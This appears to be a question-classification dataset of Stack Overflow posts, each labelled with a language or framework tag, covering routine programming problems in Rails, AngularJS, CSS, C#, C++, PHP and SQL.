rails 3.1: why is rails_admin causing `rake asset:precompile` to fail  <h1>edit</h1>   this question should be: <strong>why is rails_admin causing <code>rake asset:precompile</code> to fail </strong>    i m upgrading from rails 3.0 to 3.1 and enabling the asset pipeline. somewhere along the way  rails_admin broke my asset precompiling:     <pre><code>-----&gt; preparing app for rails asset pipeline        running: rake assets:precompile        rake aborted!        undefined variable:  $red .        (in /tmp/build_zkm1tzzdhdh6/vendor/bundle/ruby/1.9.1/bundler/gems/rails_admin-a887eee6e916/app/assets/stylesheets/rails_admin/base/theming.css.scss)         tasks: top =&gt; assets:precompile:primary        (see full trace by running task with --trace)        precompiling assets failed  enabling runtime asset compilation        injecting rails31_enable_runtime_asset_compilation        please see this article for troubleshooting help:        http://devcenter.heroku.com/articles/rails31_heroku_cedar#troubleshooting </code></pre>   what s going on here  <code>$red</code> is defined (in a different rails_admin .css file). so why isn t <code>theming.css.scss</code> able access it  how do i avoid this,ruby-on-rails
efficient rolling max and min window  i want to calculate a rolling maximum and minimum value efficiently. meaning anything better than recalculating the maximum/minimum from all the values in use every time the window moves.     there was a post on here that asked the same thing and someone posted a solution involving some kind of stack approach that supposedly worked based on its rating. however i can t find it again for the life of me.    any help would be appreciated in finding a solution or the post. thank you all!,c#
angularjs: showing/hiding elements during ui update  i m trying to solve an issue that s making my angular app look odd. i have an $http.get which initializes the model. since it takes a couple of seconds to resolve against the server  i want to display an information tag until it s done.    however  what s happening is that the tag gets hidden before the rest of the ui is finished updating.    i ve tried various approaches based on googling  but so far without success. here s my current markup:   <pre><code>&lt;div ng-controller= endctrl  ng-show= model.groups.length &gt; 0 &gt;     &lt;div ng-repeat= group in model.groups  ng-show= group.endorsements.length &gt; 0 &gt;         &lt;h3&gt;{{group.title}}&lt;/h3&gt;         &lt;div ng-repeat= endorsement in group.endorsements &gt;             &lt;p&gt;                 &lt;span class= endorsement-name &gt;{{endorsement.name}}&lt;/span&gt;&lt;span class= footnote  ng-show= endorsement.role != null &gt;  {{endorsement.role}}&lt;/span&gt;             &lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and here s the controller:   <pre><code>app.controller(  @viewbag.angularcontroller   function( $scope  $http  $q  $timeout ) {     $scope.model = {         groups: []      };      $http.get(  /home/getendorsements  )     .then(         function( resp ) {             $scope.model.groups = resp.data;             return $q.defer().resolve( true );         }          function( resp ) {             $scope.model.groups = [];             return $q.defer().resolve( true );         }     )     .then( function( resp ) {         $timeout;     } ) } ); </code></pre>   i included the call to $timeout because something i read suggested it would not run until the ui was finished updating. but again  that s not working.    <strong>update</strong>    my problem was the result of a bone-headed mistake: the  please wait  element was <em>outside the scope of the controller</em>:   <pre><code>&lt;p ng-show= model.groups.length &lt;= 0 &gt;     initializing  please wait... &lt;/p&gt; &lt;div ng-controller= endctrl &gt;     &lt;div ng-show= model.groups.length &gt; 0 &gt; </code></pre>   so  naturally  the ng-show directive on it always returned false  hiding the element as soon as it was compiled into the dom.     moving the item into the scope of the controller solved the problem.,angularjs
identity id column in sql table doesn t start at 1  i ran a delete script to delete all rows that had an id greater than 0 to clear the table and now when i try to add rows to the table  the id starts off where it left off from before. how can i delete the info in the table so the id starts off at 1 again,sql
ios @2x images uiimageview not being picked up  edit: looks like the 2x image was not actually 2x. i feel dumb :(    i have created @2x images for my images  but when i run the app in ios simulator using retina the images are blurry. see attached screenshot.    <img src= https://i.stack.imgur.com/dpk1k.png  alt= ios 2x images not being picked up >    the url for the full image is:    <a href= https://i.stack.imgur.com/dpk1k.png  rel= nofollow noreferrer >http://i.stack.imgur.com/dpk1k.png</a>    image of retina display is hardware device settings:    <a href= https://i.stack.imgur.com/gyn2n.jpg  rel= nofollow noreferrer >http://i.stack.imgur.com/gyn2n.jpg</a>    <img src= https://i.stack.imgur.com/gyn2n.jpg  alt= ios retina display >,ios
how to select the first child by class that goes after similar element without class   how can i select the first element with class  red  (first) in this construction     html:   <pre><code>&lt;div class= container &gt;     &lt;p&gt;zero&lt;/p&gt;     &lt;p class= red &gt;first&lt;/p&gt;     &lt;p class= red &gt;second&lt;/p&gt; &lt;/div&gt; </code></pre>   <a href= http://jsfiddle.net/ek9ch/  rel= nofollow >http://jsfiddle.net/ek9ch/</a>,css
splitting a difficult string  i have a string variable like the one below.   i m trying to split it into an array or even into separate variables for each element (change  day high etc.).   <pre><code>$a= last: 901.5001 @ 11:35am est 11/10/2011 &lt;br&gt;change: -5.9999 &lt;br&gt;day high:  921.50 &lt;br&gt;day low: 882.00 &lt;br&gt;open: 917.50 &lt;br&gt;volume: 808998 ; echo $a; </code></pre>   any ideas how i do this,php
<typeparamref> to a parameter of another class in c# xml doc  is there a way to refer to the generic parameter of another class  i know i can do this with the current class using <code>&lt;typeparamref&gt;</code>.    one example would be when writing the documentation of an async methods. these return task and people would commonly need to refer to tresult. look at the  return value  on <a href= http://msdn.microsoft.com/en-us/library/hh137813%28v=vs.110%29.aspx  rel= nofollow >this</a> page  for instance. they used <code>&lt;paramref&gt;</code> which obviously didn t do the job.   <pre><code>    /// &lt;returns&gt;     /// a task that represents the asynchronous create operation.     /// the value of the &lt;paramref name= tresult /&gt; parameter contains the number of documents created.     /// &lt;/returns&gt;     public static async task&lt;int&gt; createdocumentsasync(string filename) </code></pre>   what shall i use instead of <code>&lt;paramref&gt;</code>,c#
how to block alamofire from encoding of query parameter  i have url like :     <code>https://baseurl/v2/orders/bookings ourl=411093%7cmdtal8dur6xpxxpzoiggd1hrfnoyaheo0om9heub4mk%3d</code>    i use alamofire like: i m creating a custom enum class to get <code>urlrequestconvertible</code> parameter and that parameter i m passing to alamofire   <pre><code>alamofire.request(hotelbookingconfirmationrouter.get(orderurl))         .responseobject{(response: dataresponse&lt;hotelbookingconfirmation&gt;) in }  enum hotelbookingconfirmationrouter: urlrequestconvertible {  case get(string)  public func asurlrequest() throws -&gt; urlrequest {      var method: httpmethod {          return .get     }      let url: url = {          let url = url(string: rbhwebserviceconfiguration.endpoint())!          return url.appendingpathcomponent(hotelapi.bookingconfirmation)     }()      let params: ([string: string]) = {          switch self {         case .get(let ticketurl):              var dict = [   :   ]             dict = [  ourl  :   ticketurl]             return dict         }     }()      var urlrequest = urlrequest(url: url)     urlrequest.setvalue( mobile_app   forhttpheaderfield:  channel_name )      let encoding                = urlencoding.querystring     var encodedrequest          = try! encoding.encode(urlrequest  with: params)     encodedrequest.httpmethod       = method.rawvalue     encodedrequest.timeoutinterval  = 30      return encodedrequest } } </code></pre>   logging the request  i receive:    <code>https://baseurl/v2/orders/bookings ourl= 411093%2547cmdtal8dur6xpxxpzoiggd1hrfnoyaheo0om9heub4mk%3d</code>    query string is encoding i.e  2547  instead  7cm     but  i need to remain with same parameter can anyone help me please to solve this issue,ios
http status 405 while making $http get request  i am making ajax get request using angular js $http service to yahoo finance rest api however i am getting http status code 405 in response.     below is the complete stack trace.    <pre><code>index.html#/tab/stock:1 xmlhttprequest cannot load http://finance.yahoo.com/webservice/v1/symbols/suzlon.ns/quote format=json&amp;view=detail.  response to preflight request doesn t pass access control check: no  access-control-allow-origin   header is present on the requested resource.  origin  http://localhost:8080  is therefore not allowed access.  the response had http status code 405. </code></pre>   below is my code to make ajax call.    <pre><code>var config = {             headers : {                  access-control-allow-origin  :  *                    accept  :  application/json;odata=verbose                    host  :  finance.yahoo.com              }         };      var promise = null;     promise = $http.get( http://finance.yahoo.com/webservice/v1/symbols/suzlon.ns/quote format=json&amp;view=detail  config);     return promise; </code></pre>   i am able to make ajax call to google finance api but yahoo finance api is failing.     do i need to set any header my config object   or is it something different at yahoo rest api side which is returning http 405      below code for google api call is working fine without setting any header.    <pre><code>getnsequote : function(nsescriptcode) {     console.log( inside nsescriptcode :   + nsescriptcode);      var promise = null;     promise = $http.get( http://www.google.com/finance/info q=nse:  + encodeuricomponent(nsescriptcode));     return promise; } </code></pre>,angularjs
.net overflow exception occurred in datavisualization.dll  unable to find cause  i am trying to create a chart in .net that can display data about a range that is specified by two line annotations.    <pre><code>private sub chart_mousemove(sender as object  e as mouseeventargs) handles chart.mousemove     dim datapointlist = chart.series( default ).points.toarray     dim totalsecs as int64 = (datapointlist.length - 1) * 86400     dim coord as chartcoordinates = getaxisvaluesfrommouse(e.x  e.y)      if rangespecified = false then         chart.annotations( startdotannotation ).x = coord.x         chart.annotations( startdotannotation ).y = tangentcalculator(coord.x)   attach line annotation to mouse movement         chart.annotations( startlineannotation ).x = coord.x + 0.1               seems to cause error without + 0.1         chart.annotations( startlineannotation ).y = tangentcalculator(coord.x)   attach line annotation to mouse movement         chart.annotations( tooltip ).x = coord.x + 0.2         chart.annotations( tooltip ).y = tangentcalculator(coord.x)         tooltip.anchorx = coord.x + 0.2         tooltip.anchory = tangentcalculator(coord.x)   attach tooltip annotation to mouse movement          tooltipy = tangentcalculator(coord.x)         tooltipx = (xaxis0date.addseconds((coord.x / (datapointlist.length - 1)) * totalsecs)).tostring         tooltip.text =    &amp; tooltipy &amp;      &amp; tooltipx &amp;        end if end sub  private sub chart_mouseclick(sender as object  e as mouseeventargs) handles chart.mouseclick     if rangespecified = false then         rangespecified = true         enddotannotation.visible = true         endlineannotation.visible = true         enddotannotation.x = endlineannotation.x         enddotannotation.y = endlineannotation.y     end if end sub </code></pre>   when the form is launched  <a href= https://i.stack.imgur.com/uwnmb.png  rel= nofollow noreferrer >the line annotation follows the cursor</a> (in the mousemove event). when the mouse is clicked  <a href= https://i.stack.imgur.com/8uhd2.png  rel= nofollow noreferrer >the second line annotation appears</a>. the user should be able to click and drag the lines and the data over the specified range would be displayed in a tooltip. the code works up until i try and select either of the lines in the chart. then it breaks and throws me this error:    an unhandled exception of type  system.overflowexception  occurred in system.windows.forms.datavisualization.dll additional information: overflow error.    the error appears before the mouseclick event is triggered. i assume it has something to do with the mouseclick event because everything works fine if i comment it out. how do i proceed     also  even if i comment out the mouseclick event  removing the  + 0.1  at the end of this line:   <pre><code>chart.annotations( startlineannotation ).x = coord.x + 0.1 </code></pre>   will throw me the same error if i click anywhere on the chart. i m not sure why it does this. this is a secondary question but if anyone could explain it that would be helpful. thanks for your time!,.net
how can i make my div element wider  why does my code fail   <a href= http://jsfiddle.net/antonpug/jfrnt/  rel= nofollow >http://jsfiddle.net/antonpug/jfrnt/</a>    i am trying to make all the buttons the same size  and i am setting width to 100  but it doesn t do anything. ahh! so frustrated...,css
how to store wikipedia document in local database or in application itself by programming   i am implementing on wikipedia iphone application.in which i have implemented below features.   <ul> <li>user can search the wikipedia using keyword.</li> <li>user can view wikipedia in webview.</li> </ul>   query. now i want to store this wikipedia in application or sqlitedabas.    so when net is not available at that time user can view wikipedia from the application or local database.    please help me for this query..    thanks in advance,iphone
coding anomaly in java script  cant seem to find the issue  basically my code below works but there is a problem to it which i recently discovered. as i was running it the pictures seem to come in the wrong order. i ran it with google chrome and using inspect element i found the order it went in was image1>image4>image1>image2>image4>image1 and so on in order but the starting order is not right and i cant seem to find the source of the issue and running it with google chromes html console cant seem to find the problem.   <pre><code>&lt;html&gt; &lt;body&gt;  &lt;p&gt;click the button to change to the next light.&lt;/p&gt;  &lt;img id= starting_light  src= image1.jpg &gt;  &lt;button type= button  onclick= nextlightclick() &gt;next light&lt;/button&gt;  &lt;script&gt;  var lights = new array( image2.jpg   image4.jpg   image1.jpg );    var index = 0; var lightslen = lights.length;  function nextlightclick() {     index++;      if (index == lightslen)          index = 0;      var image = document.getelementbyid( starting_light );     image.src = lights[index]; } &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
about incress crystalreports data point  i get error while generating report  this chart cannot be displayed. it can process at most 32000 data points but 34534 points are being requested  please help me out to set 60000 data point into crystalreports in c#.net thank you!,c#
why isn t border showing   no matter what i try  i cannot get my css grid to display borders around its cells. has never been a problem in the past - just suddenly stopped working!   <pre><code>.box {   background-color: #f5f5f6;   color: #0071ff;   border-radius: 5px;   padding: 20px;   font-size: 150%;   border: 1px solid black;   } </code></pre>,css
method taking mutli arguments in dot notation  i am viewing this video on objective c. the guy show a method which takes multiple arguments and it looks like this   <pre><code>- (void) setto: (int) n over: (int) d { .... } </code></pre>   to use it he shows:   <pre><code>[myfraction setto: 100 over:200]; </code></pre>   how would that bracket notation look in dot noation  andi dont understand what that over  means  would anyone know  thnx,objective-c
using different themes for different customers  what is the best practice to apply different themes to different customers with asp.net.,asp.net
"font awesome icons did not loaded on my site  i have an error on my site where all font awesome icons although i added font awesome. this is my site <a href= http://londonpostjournal.com/  rel= nofollow noreferrer >http://londonpostjournal.com/</a>     <a href= https://i.stack.imgur.com/rcntv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rcntv.png  alt= enter image description here ></a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.login-top .lg-in::before {
     font-family:  fontawesome ;
     content:  f090 ;
     padding-right: .3em;
     font-weight: normal;
 }</code></pre>
 </div>
 </div>",css
selecting an image without a class or id using javascript only  ok.. this could be a bit of a challenge. basically i need to select an image and i want it to fade in and out every few seconds.     under normal circumstances it would be fairly straightforward... but the problem is the site i m working on has certain restrictions.     firstly the image has no id or class (only alt text  and i can’t edit this to add a class) - it is sitting in a table that does have classes but i can’t seem to work out how to drill down to select the specific image using javascript.... the system also doesn’t support jquery.    i can do it using css no problem: <code>table.tableclass td.tdclass img {}</code> but unfortunately the system can only be viewed in ie7/8 so css3 isn’t an option to make the image blink.     if anyone has any suggestions i d really appreciate it. the best was i can think of would be to select the table  then the td  then the first image within it... but i can’t seem to work out how this would be done in js.    many thanks in advance!,javascript
extern pointer initialization  i have this class:    logger.h   <pre><code>class logger{      std::string filename;     std::ofstream filestream;      /*some methods ...*/ };  extern logger* log; </code></pre>   in another header file i have included the *log definition:    foo.h   <pre><code>#include  logger.h   class foo{     logger* log;      /*other code*/ }; </code></pre>   but if in foo.cpp file i try to do this:   <pre><code>log = new logger(); </code></pre>   the compiler give me an error  any idea,c++
iphone:programmatically find the count of videos and images from photo album   i am developing app on ios 4.3 sdk. i would like to know  how to find how many images and videos are there in camera photo library album. is it possible to programmatically find a way to know the count of videos and images there in photo album     please advise.    thank you!,iphone
stream udp like tcp   is it possible to have a networkstream like you have in tcp  but in udp     i know udp doesn´t allow checks and anything like that.    but i wonder if it´s possible to have it  so you can write in a stream (instead of manually having to divide a byte array into sizes that fits packages).    i am simply wondering this cause it would be nice to test and experiment with.,c#
sql select distinct - mirrored columes  tricky question  i need to write a sql query where i want the links between two devices  but the two devices have their link information twice but mirrored... like this...   <pre><code>| linkid | source_name | source_port | destination_name | destination_port|  |1       | device1     | gi1/0/1     | device2          | gi1/0/2         |  |2       | device2     | gi1/0/2     | device1          | gi1/0/1         |  |3       | device2     | gi1/0/1     | device3          | gi1/0/1         |  |4       | device1     | gi1/0/2     | device3          | gi1/0/2         | </code></pre>   so i want the query results to return rows 1 3 4 because those links are unique but i don t want row 2 because its telling me the same information as row 1... is this possible,mysql
having issue on php increment  can you please take a look at this demo and let me know why i am not able to increment the <code>$start</code> as the output is looks like <code>88888</code> only   <pre><code>&lt; php     for($i = 1; $i&lt;= 5; $i++){         $start = 8;            echo $start;         $start++;         }  &gt; </code></pre>,php
first occurrence of day of week in month  i want to configure a event with a <code>datetime date</code>.    i want to repeat the event every month in the same week and day of the week.    for examples  this event take place in april 2 2015  (thursday of the first week in april).    i want to repeat again every thursday on first week in every month.    how i can calculate the next date each time,c#
sftp implementation in c++ for windows platform <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/360259/sftp-c-library >sftp c++ library </a>    </blockquote>     hi everyone             presently i am using ftp for server side file transfer  but due to requirement now i have to implement sftp instead of ftp in windows platform using c++ language. can anyone help me out,c++
if return counter  i have some script in javascript that is checking files on my server and here is example what i need to do with numbers so that i can easy describe what i need to get:   <pre><code>var a = 0;  if (a &gt;= 5) {     console.log( a bigger that 5! ); } else {   console.log( increasing a... +a)   a++;     return; } </code></pre>   what i would like from output is this:    increasing a...0   increasing a...1   increasing a...2   increasing a...3   increasing a...4   a bigger that 5!    so how can i return to if comparation from else... i need this to compare true or false... but i write here code with numbers.    i see that return does not return to if comparation so what i need to do,javascript
error: field ‘m_ssmmap’ has incomplete type c++  i have the following header file.   <pre><code>#ifndef __routerpim__ #define __routerpim__  #include  abstractroutervrf.h   class vrf; class ssmmap;  class routerpim: public abstractroutervrf{     private:             string m_rp_address;             unsigned int m_hello_timer;             ssmmap m_ssmmap;   //&gt;&gt; line of error     public:             routerpim();             routerpim(vrf *vrf);             virtual ~routerpim();             void setrp_address(string rp_address);             void sethello_timer(unsigned int hello_timer);             string getrp_address();             unsigned int gethello_timer();             static routerpim* instantiaterouterpim(vrf *vrf);             virtual string getclass_name();             virtual void dump();             virtual int validation(dcmenums *attr  void *new_value);             virtual int update(dcmenums *attr  void *value);             static string getattributestr(int attr); };  #endif /* __routerpim__ */ </code></pre>   while compiling  it is giving the following error at line 13.   <pre><code>`routerpim.h:13:10: error: field ‘m_ssmmap’ has incomplete type` `ssmmap m_ssmmap;`       ^ </code></pre>   when i comment out line 13  it just compiles fine. can anyone point me what is the issue here  why the same problem is not seen for external class <code>vrf</code> which is also being used exactly the same way as <code>ssmmap</code> class.,c++
filter data in angularjs using dropdown list value  i want to implement filtering in angularjs.i searched from googling but not found any ways in which i want.   <blockquote>    when controller is load i get data from my web service call. now i   have 3 dropdowns like status company area. now   i want to do that if   i select any status from dropdown the table data which is bind on load   will filter based on that status and same as other two dropdowns.  </blockquote>   so  how can i achieve this.,angularjs
create the program more efficient  problem    <ul> <li>return  a  if number x can be divided by 3 </li> <li>return  b  if number x can be divided by 5</li> <li>return  ab  if number x can be divided by 3 and 5</li> </ul>   my solution   <pre><code> if(x mod 3 ==0 ) return  a   else if (x mod 3 == 0) return  b   else if (x mod 3 == 0 &amp;&amp; x mod 5) return  ab  </code></pre>   is there any other efficient solution than this,java
browser close event in .net  is there any way to find the browser close event in asp.net,.net
css validation error : same colors for color and background-color in two contexts  i need help to resolve validation css. here i got 20 same error in w3 validation. i am not understand properly. if you resolve this issue so i would greatly appreciate you.    <strong>error:</strong> same colors for color and background-color in two contexts    <strong>here is css code for your review:</strong>   <pre><code>@charset  utf-8 ;  body { font-family: arial  helvetica  sans-serif;      font-size: 13px;     font-weight: normal;     color: #222222;     text-align: left;     margin: 0px;     padding: 0px;  } a {  text-decoration:none;  color:#222222 } a:hover { color:#29a1d6;  } span.redclr { color:#ff0000 } .clr-blue {  color:#29a1d6 } .clr-green { color:#85be2e } .g-font-18px { font-family:georgia   times new roman   times  serif;  font-size:18px;  font-style:italic } .img-brd-5px { border:5px solid #f1f1f1;  padding:10px } p { text-align:left;  margin:0px;  padding:0px 0px 8px 0px;  line-height:140% } p.pdg-btm-2px { padding-bottom:2px } .textfield { border:1px solid #cfe8f4;  padding:3px 5px;  text-align:left;  font-family:arial  helvetica  sans-serif;  font-size:13px } .textfield:hover { border:1px solid #abd6eb;  background-color:#f2faff } .captcha { border:1px solid #cfe8f4;  padding:3px 5px;  text-align:center;  color:#29a1d6;  font-family:arial  helvetica  sans-serif;  font-size:13px;  font-weight:bold;  width:119px;  margin-left:5px } .captcha:hover { border:1px solid #abd6eb;  background-color:#f2faff } .button-bg { background:url(../images/btn-bg.jpg) repeat-x center top;  padding:0px;  margin:0px;  color:#ffffff;  height:28px;  font-size:14px;  font-weight:bold;  cursor:pointer;  border:0px solid #5fa000;  } .button-bg:hover { background:url(../images/btn-bg-hover.jpg) repeat-x center top;   border:0px solid #198dbf } .header1-brd-btm {  font-size:20px;  font-weight:bold;  color:#29a1d6;  text-align:left;  margin-bottom:10px;  padding-bottom:5px;  border-bottom:1px solid #cfe8f4 } .green-header1-brd-btm { padding:0px 0px 5px 0px;  font-size:18px;  color:#85be2e;  background:none;  font-weight:normal;  border-bottom:1px solid #cfe8f4;  margin-bottom:10px }  .header-1 { font-size:33px;  color:#ffffff;  padding:10px 0px 0px 0px;  text-shadow:2px 1px 0px #00648e;  } .header-2 { font-size:22px;  color:#29a1d6;  padding:0px 0px 5px 0px;  text-shadow:2px 2px 0px #f1f1f1;  font-weight:bold;  border-bottom:1px solid #cfe8f4;  margin-bottom:10px;  } .header-3 { font-size:18px;  color:#85be2e;  padding:0px 0px 5px 0px;  font-weight:bold;  margin-bottom:10px;  } .header-3-bg { font-size:18px;  color:#000000;  padding:5px 15px 7px 15px;  font-weight:bold;  margin-bottom:10px;  background-color:#f1f1f1;  overflow:hidden;  clear:left;  }  .text18pt { font-size:18px;  text-align:left;  line-height:normal;  }   .top-bg { background:url(../images/top-gradiant-bg.jpg)  repeat-x center top;  height:86px;  width:100%;  } .main { width:950px;  margin:0px auto;  overflow:hidden;  border:0px solid #000000;  } .logo {  width:300px;  overflow:hidden;  border:0px solid #000000;  margin-top:15px;  float:left } .header-right { width:645px;  float:right;  border:0px solid #000000;  } .toplink { margin:10px 0px 0px 0px;  padding:0px;  text-align:right;  width:645px;  overflow:hidden } .toplink ul { margin:0px;  padding:0px;  } .toplink ul li { margin:0px;  padding:5px;  list-style:none;  float:right;  font-size:14px;  font-weight:bold } .toplink ul li a { color:#222222 } .toplink ul li a:hover { text-decoration:none;  color:#29a1d6 }  .top-navigation { margin:20px 0px 0px 0px;  padding:0px;  border:0px solid #000000;  clear:both;  float:right } .top-navigation ul { margin:0px;  padding:0px;  } .top-navigation ul li { margin:0px;  padding:0px 15px;  list-style:none;  float:right;  font-size:15px;  font-weight:bold } .top-navigation ul li a:hover { text-decoration:none }  .main-banner { width:100%;  background:url(../images/main-banner-bg123.png) repeat-x;  margin:2px auto;  } .middlebar-bg { background:url(../images/middle-gradiant-bg.jpg) repeat-x center top;  width:100%;  }  .main3servicesbox { width:960px;  margin:0px auto;  overflow:hidden;  } .mainservices-box{ background:url(../images/main-box-bg.png) no-repeat left top;  width:280px;  height:180px;  float:left;  padding:20px 19px 0px 20px;  cursor:pointer } .mainservices-box:hover{ background:url(../images/main-box-bg-hover.png) no-repeat left top;  } .mainservices-title { font-size:16px;  font-weight:bold;  color:#29a1d6;  text-align:left;  border-bottom:1px solid #29a1d6;  padding-bottom:2px;  margin-bottom:10px } .mainservices-link {  margin:0px 0px 0px 0px;  padding:0px;  overflow:hidden;  } .mainservices-link ul {  margin:0px;  padding:0px;  } .mainservices-link ul li {  margin:0px;  padding:0px 0px 10px 18px;  list-style:none;  background: url(../images/bullet-small.gif) no-repeat 0px 4px;  font-size:13px;  font-weight:bold }  .home-content-bg { background:url(../images/homepage-content-bg.jpg) no-repeat left top;  width:915px;  height:257px;  padding: 20px 10px 0px 25px;  margin:5px 0px 10px 0px;  overflow:hidden } .capabilities { padding:0px 0px 0px 0px;   margin:0px;  border:0px solid #000000;  width:205px;  float:left } .capabilities ul { margin:0px;  padding:0px;  } .capabilities ul li { margin:0px;  padding:5px 0px 7px 18px;  list-style:none;  background:url(../images/bullet.gif) no-repeat 0px 9px;  border-top:1px solid #cfe8f4;  font-weight:bold } .capabilities ul li.title { padding-left:0px;  font-size:18px;  border:none;  color:#85be2e;  background:none;  font-weight:normal;  padding-bottom:3px } .capabilities ul li a:hover { text-decoration:none }  .home-main-content-module { border:0px solid #000000;  overflow:hidden;  float:left;  margin:0px 0px 0px 45px;  width:650px }    .footer { background-color:#f4f4f4;  border-top:2px solid #dfdfdf;  padding-bottom:20px;  margin-top:10px } .footerlink { margin:10px 70px 0px 0px;  padding:0px;  border:0px solid #330000;  float:left } .footerlink ul { margin:0px;  padding:0px;  } .footerlink ul li { margin:0px;  padding:0px 0px 4px 0px;  list-style:none;  font-size:12px;  } .footerlink ul li b { color:#222222 } .footerlink ul li a { color:#545454 } .footerlink ul li a:hover { text-decoration:none;  color:#29a1d6 }  .footer-getaquote {  border:0px solid #000000;  float:left } .socialmedia-icon { margin:10px 0px 0px 0px;  padding:0px;  border:0px solid #000000;  overflow:hidden } .socialmedia-icon ul { margin:0px 0px;  padding:0px;  } .socialmedia-icon ul li { margin:0px;  padding:0px 0px 0px 25px;  list-style:none;  float:left;  }  .copyrighttext { width:100%;  height:23px;  background-color:#27a1d5;  color:#ffffff;  font-size:12px;  padding-top:13px;  text-align:center }  /*** services page****/ .page-header-bg { background: url(../images/page-header-bg.jpg) repeat-x  center top;  height:63px;  width:100%;  margin:2px 0px } .breadcrumb-bg { background-color:#ddf7ff;  width:100%;  padding:10px 0px;  margin-bottom:15px } .breadcrumb { margin:0px;  padding:0px;  overflow:hidden;  } .breadcrumb ul { margin:0px;  padding:0px;  } .breadcrumb ul li { margin:0px;  padding:0px 1px;  list-style:none;  display:inline;  font-size:12px;  } .breadcrumb ul li a:hover { text-decoration:none }  .leftbar { width:225px;  float:left;  } .rightbar { width:700px;  float:left;  margin-left:25px } * html .rightbar { width:698px;  float:left;  margin-left:25px }  .left-module { margin:0px 0px 20px 0px;  overflow:hidden } .leftbar-navigation { width:225px;  overflow:hidden;  } .leftbar-nav-bg-top {  background:url(../images/leftbar-top-bg.jpg) no-repeat 0px 0px;  height:20px } .leftbar-nav-bg-middle {  background:url(../images/leftbar-middle-bg.jpg) repeat-y center top  } .leftbar-nav-bg-bottom {  background:url(../images/leftbar-bottom-bg.jpg) no-repeat 0px bottom;  height:15px;  } .left-nav { margin:0px auto;  padding:0px;  width:190px } .left-nav ul { margin:0px;  padding:0px;  } .left-nav ul li { margin:0px;  font-size:12px;   list-style:none;   font-weight:bold;  border-top:1px solid #cfe8f4;  } .left-nav ul li.title {  font-size:15px;  border:none;  padding-bottom:5px } .left-nav ul li a { display:block;  cursor:pointer;  background:url(../images/bullet.gif) no-repeat left 10px;  padding:6px 0px 7px 20px;  } .left-nav ul li a:hover { text-decoration:none;  background:url(../images/bullet-12px-hover.gif) no-repeat left 9px;  } .left-nav ul li.sublink { border-top:0px;   font-weight:normal;  line-height:normal;  font-size:12px } .left-nav ul li.sublink a { padding:0px 0px 4px 20px;  background-image:none;  } .left-nav ul li.sublink a:hover { text-decoration:none;  background:none }  .leftbar-optin { margin:0px 0px 0px 0px;  padding:0px;  width:225px;  } .leftbar-optin ul { margin:10px 0px 0px 0px;  padding:0px;  } .leftbar-optin ul li { margin:0px;  padding:0px 0px 3px 0px;  list-style:none } .leftbar-optin ul li .textfield {  width:213px;  } .leftbar-optin ul li .textfield-h { width:213px;  height:100px } .leftbar-optin ul li .textfield122 {  width:107px;  margin-left:5px } .leftbar-optin ul li .submit-btn { width:225px;  text-align:center;  }  .left-testimonials { margin:0px;  padding:0px;  } .left-testimonials ul { margin:0px;  padding:0px;  } .left-testimonials ul li { margin:0px;  padding:0px;  list-style:none;  line-height:140% } .left-testimonials ul li.text { background:url(../images/quote.jpg) no-repeat 0px 0px;  padding:2px 15px 5px 0px;  text-indent:25px;  } .left-testimonials ul li.boldtext { color:#29a1d6;  font-size:14px;  font-weight:bold;  line-height:normal;  padding:5px 0px 0px 0px } .left-testimonials ul li .border { border:1px solid #ececec;  margin-bottom:7px;  padding:0px 10px }  /***rightbar***/  /****ecommerce solutions****/  .overview-key-module { margin:10px auto 15px auto;  padding:0px;  border:0px solid #666666;  overflow:hidden } .overview-key { width:210px;  border:0px solid #000000;  margin:0px 10px;  float:left;  } * html .overview-key { margin:0px 8px } .overview-key.overview-key1 {  background-color:#f9ecfe } .overview-key.overview-key2 {  background-color:#fef5e6 } .overview-key.overview-key3 {  background-color:#fff0f3 }  .overview-key-header { background:url(../images/overview-key-header.jpg) no-repeat;  width:210px;  height:110px;  } .overview-key-header.overview-key-header1 { background-position:0px 0px;  } .overview-key-header.overview-key-header2 { background-position:0px -120px;  } .overview-key-header.overview-key-header3 { background-position:0px -240px;  }  .key-features { margin:10px 0px;  padding:0px;  } .key-features ul { margin:0px;  padding:0px;  } .key-features ul li { margin:0px;  padding:6px 0px 8px 15px;  list-style:none;  font-weight:bold;  } .key-features ul li.keycolor1 {  background-color:#f6e4fe } .key-features ul li.keycolor2 {  background-color:#fcebd4 } .key-features ul li.keycolor3 {  background-color:#fde4e6 }  .feature-point-module { margin:0px 0px 25px 0px;  width:698px;  clear:left;  float:left;  } .features-points { margin:0px 0px 0px 20px;  padding:0px;  border:0px solid #000000;  width:500px;  float:left;  } .features-points ul { margin:0px;  padding:0px;  } .features-points ul li { margin:0px;  padding:0px 0px 5px 20px;  list-style:none;  background:url(../images/bullet.gif) no-repeat 0px 3px;  line-height:normal } .features-points ul li.subpoint { background:url(../images/sub-bullet.jpg) no-repeat 22px 5px;  padding:0px 0px 3px 35px } .features-point-icon { width:150px;   float:left;  margin-left:25px;  border:0px solid #000000;  } .features-top { font-size:12px;  font-weight:bold;  width:30px;  text-align:right;  background-color:#cfe8f4;  padding:5px 10px;  float:right;  margin-right:0px;  text-decoration:none } .features-top:hover { text-decoration:none } .features-top-width { width:698px;  }  .integration-module { margin:0px 0px 40px 0px;  clear:both;  overflow:hidden } .ecommerce-logo {  width:150px;  height:75px;  border:1px solid #f1f1f1;  text-align:center;  float:left;  margin:0px 10px 20px 10px } * html .ecommerce-logo { margin:0px 8px 20px 8px }  .quicktour { margin:0px auto;  padding:0px;  width:510px;  } .quicktour ul { margin:0px;  padding:0px;  } .quicktour ul li { margin:0px;  padding:0px 0px 15px 0px;  list-style:none;  text-align:center } .quicktour ul li img { border:5px solid #f1f1f1;  padding:10px }  * html .portfolio {  margin-right:8px;  margin-left:8px } .portfolio { margin:10px 10px 20px 10px;  padding:0px;  float:left } .portfolio ul { margin:0px;  padding:0px;  } .portfolio ul li { margin:0px;  padding:0px 0px 5px 0px;  list-style:none;  font-weight:bold;  text-align:center } .portfolio ul li img { border:1px solid #f1f1f1;  padding:5px } .portfolio ul li img:hover { border:1px solid #29a1d6;  